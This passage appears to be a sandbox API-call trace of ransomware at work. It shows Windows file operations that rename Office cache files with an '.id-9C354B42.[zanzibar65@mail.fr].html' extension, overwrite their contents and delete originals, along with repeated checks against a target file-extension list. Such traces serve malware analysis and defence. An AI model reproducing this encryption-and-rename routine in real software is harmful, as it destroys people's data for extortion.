(in: hFile=0x1d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.965] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0044.965] ReadFile (in: hFile=0x1d8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.980] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.980] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.999] SetEndOfFile (hFile=0x1d8) returned 1 [0044.999] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0045.214] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0045.214] WriteFile (in: hFile=0x1d8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.215] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0045.215] WriteFile (in: hFile=0x1d8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.216] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0045.216] WriteFile (in: hFile=0x1d8, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.218] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0045.220] CloseHandle (hObject=0x1d8) returned 1 [0045.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.220] lstrlenW (lpString=".doc") returned 4 [0045.221] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString=".docx") returned 5 [0045.221] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.221] lstrlenW (lpString=".pdf") returned 4 [0045.221] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString=".xls") returned 4 [0045.221] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString=".xlsx") returned 5 [0045.221] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.221] lstrlenW (lpString=".ppt") returned 4 [0045.221] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString=".zip") returned 4 [0045.221] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString=".rar") returned 4 [0045.221] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString=".bz2") returned 4 [0045.221] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.221] lstrlenW (lpString=".7z") returned 3 [0045.221] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString=".dbf") returned 4 [0045.221] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString=".1cd") returned 4 [0045.221] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString=".jpg") returned 4 [0045.221] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.221] lstrlenW (lpString=".doc") returned 4 [0045.221] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString=".docx") returned 5 [0045.222] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.222] lstrlenW (lpString=".pdf") returned 4 [0045.222] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString=".xls") returned 4 [0045.222] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString=".xlsx") returned 5 [0045.222] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.222] lstrlenW (lpString=".ppt") returned 4 [0045.222] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.222] lstrlenW (lpString=".zip") returned 4 [0045.222] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString=".rar") returned 4 [0045.222] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString=".bz2") returned 4 [0045.222] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.222] lstrlenW (lpString=".7z") returned 3 [0045.222] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.222] lstrlenW (lpString=".dbf") returned 4 [0045.222] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.222] lstrlenW (lpString=".1cd") returned 4 [0045.222] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.222] lstrlenW (lpString=".jpg") returned 4 [0045.222] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.222] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0045.222] lstrlenW (lpString="AccLR.cab") returned 9 [0045.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.406] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=28016276) returned 1 [0045.406] CloseHandle (hObject=0x21c) returned 1 [0045.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0045.407] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.407] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0045.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.407] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0045.407] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0045.407] ReadFile (in: hFile=0x21c, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.410] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0045.412] ReadFile (in: hFile=0x21c, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.416] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.416] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0045.416] ReadFile (in: hFile=0x21c, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.431] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.431] WriteFile (in: hFile=0x21c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0045.449] SetEndOfFile (hFile=0x21c) returned 1 [0045.449] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0045.496] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0045.496] WriteFile (in: hFile=0x21c, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.025] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.025] WriteFile (in: hFile=0x21c, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.027] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.028] WriteFile (in: hFile=0x21c, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.030] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0046.030] CloseHandle (hObject=0x21c) returned 1 [0046.046] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString=".doc") returned 4 [0046.093] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString=".docx") returned 5 [0046.093] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.093] lstrlenW (lpString=".pdf") returned 4 [0046.093] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString=".xls") returned 4 [0046.093] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString=".xlsx") returned 5 [0046.093] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.093] lstrlenW (lpString=".ppt") returned 4 [0046.093] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString=".zip") returned 4 [0046.093] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString=".rar") returned 4 [0046.093] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString=".bz2") returned 4 [0046.093] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.093] lstrlenW (lpString=".7z") returned 3 [0046.093] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString=".dbf") returned 4 [0046.093] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString=".1cd") returned 4 [0046.093] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.093] lstrlenW (lpString=".jpg") returned 4 [0046.093] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString=".doc") returned 4 [0046.094] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString=".docx") returned 5 [0046.094] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.094] lstrlenW (lpString=".pdf") returned 4 [0046.094] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString=".xls") returned 4 [0046.094] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString=".xlsx") returned 5 [0046.094] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.094] lstrlenW (lpString=".ppt") returned 4 [0046.094] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString=".zip") returned 4 [0046.094] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString=".rar") returned 4 [0046.094] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString=".bz2") returned 4 [0046.094] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.094] lstrlenW (lpString=".7z") returned 3 [0046.094] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString=".dbf") returned 4 [0046.094] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString=".1cd") returned 4 [0046.094] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0046.094] lstrlenW (lpString=".jpg") returned 4 [0046.094] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.095] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0046.095] lstrlenW (lpString="ose.exe") returned 7 [0046.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.095] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=174440) returned 1 [0046.095] CloseHandle (hObject=0x1e8) returned 1 [0046.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0046.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.095] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.095] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0046.096] GetLastError () returned 0x0 [0046.096] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x2a968, lpOverlapped=0x0) returned 1 [0046.106] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0046.110] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.110] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0046.110] SetEndOfFile (hFile=0x1f4) returned 1 [0046.110] CloseHandle (hObject=0x1f4) returned 1 [0046.110] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.110] SetEndOfFile (hFile=0x1e8) returned 1 [0046.112] CloseHandle (hObject=0x1e8) returned 1 [0046.112] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.112] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0046.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString=".doc") returned 4 [0046.113] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.113] lstrlenW (lpString=".docx") returned 5 [0046.113] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0046.113] lstrlenW (lpString=".pdf") returned 4 [0046.113] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString=".xls") returned 4 [0046.113] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString=".xlsx") returned 5 [0046.113] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0046.113] lstrlenW (lpString=".ppt") returned 4 [0046.113] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString=".zip") returned 4 [0046.113] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString=".rar") returned 4 [0046.113] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString=".bz2") returned 4 [0046.113] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.113] lstrlenW (lpString=".7z") returned 3 [0046.113] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString=".dbf") returned 4 [0046.113] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString=".1cd") returned 4 [0046.113] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString=".jpg") returned 4 [0046.113] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.113] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.114] lstrlenW (lpString=".doc") returned 4 [0046.114] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0046.114] lstrlenW (lpString=".docx") returned 5 [0046.114] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0046.114] lstrlenW (lpString=".pdf") returned 4 [0046.114] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0046.114] lstrlenW (lpString=".xls") returned 4 [0046.114] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0046.114] lstrlenW (lpString=".xlsx") returned 5 [0046.114] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0046.114] lstrlenW (lpString=".ppt") returned 4 [0046.114] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0046.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.114] lstrlenW (lpString=".zip") returned 4 [0046.114] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0046.114] lstrlenW (lpString=".rar") returned 4 [0046.114] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0046.114] lstrlenW 